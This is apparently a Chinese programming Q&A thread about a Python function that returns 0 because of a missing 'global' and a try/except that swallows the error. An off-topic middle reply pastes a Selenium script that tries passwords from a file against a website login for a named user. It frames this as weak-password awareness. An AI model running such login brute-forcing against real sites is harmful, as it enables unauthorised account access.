这个代码是0的原因是,它没有加上 global,所以会产生UnboundLocalError,又因为有try,所以执行了 return 0
s = 0
def f(num):
global s
s += num
return s
print(f(2))
这是2,去掉global s就是丢出错误,加上try...except就是返回0
全局变量 golbal 了解一下, 给个采纳加关注 ,下个问题不迷路
不知道你这个问题是否已经解决, 如果还没有解决的话:下面是调用selenium实现的自动登录功能,对应的HTML源代码如下图所示。
用户名:< input id=“user_name” />
密码:< input id=“password”>
完整代码如下所,建议读者学习下Python的Selenium自动化操作库,它广泛应用于自动化测试、爬虫中。
# coding=utf-8
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
#访问网站
driver = webdriver.Firefox()
url = 'http://www.xxxx.com'
driver.get(url)
print "start"
#获取密码
username = 'yangxiuzhang'
f = open('pass_out.txt', 'r')
for pwd in f:
pwd = pwd.strip('\n')
print pwd
#定位用户名和密码
#elem_name = driver.find_elements_by_xpath("//input[@id='user_name']")
elem_name = driver.find_element_by_id("user_name")
elem_pwd = driver.find_element_by_id("password")
#输入用户名和密码
elem_name.send_keys(username)
elem_pwd.send_keys(pwd)
#输入回车键登录
elem_pwd.send_keys(Keys.RETURN)
time.sleep(5)
#获取当前网址
cur_url = driver.current_url
print cur_url
if 'login_error' in cur_url:
print 'error login, the password is ', pwd
else:
print 'succeed login, the password is ', pwd
f.close()
注意,该网站有两种形式提示我们错误信息,这里采用URL判断,如果出现“login_error”表示错误的密码,否则成功登陆。同时,作者将 pass_out.txt 输出的密码精简为6个,简单演示即可。
输出结果如下图所示:
哎,同学们啊!绿色网络需要我们共同维护,建议大家了解它们背后的原理,更好地进行防护。法网恢恢疏而不漏,该账号成功被锁定,但是它背后的原理和方法是值得学习且可行的,也推荐大家自行搭建环境测试复现。如果您是网站的开发者或管理员,更应该知道弱口令的危害,更应该去做保护您客户安全,做好密码保护。
针对您提到的Python代码执行中try语句块抛出异常时的处理,可以提供以下解决方案:
try:
s = 0 + 2
except:
print("发生了异常")
当执行以上代码时,程序会尝试计算0+2的结果,因为此处没有异常,所以不会执行except块,输出也就是空的。如果修改为以下代码:
try:
s = 0 + "2"
except:
print("发生了异常")
在这个例子中,试图将字符串"2"加到数字0上,由于不能完成加法,就会产生一个类型错误。这个时候程序会跳转到except块中,输出"发生了异常"。
try:
s = 0 + "2"
except Exception as e:
print("发生了异常:", type(e), e)
这会输出类似于以下的信息:
发生了异常: <class 'TypeError'> unsupported operand type(s) for +: 'int' and 'str'
这就告诉我们,程序出现了TypeError类型的异常,错误信息就是具体的类型错误提示。
希望这些解决方案能够帮助您解决问题。如果还有其他问题,请随时追问。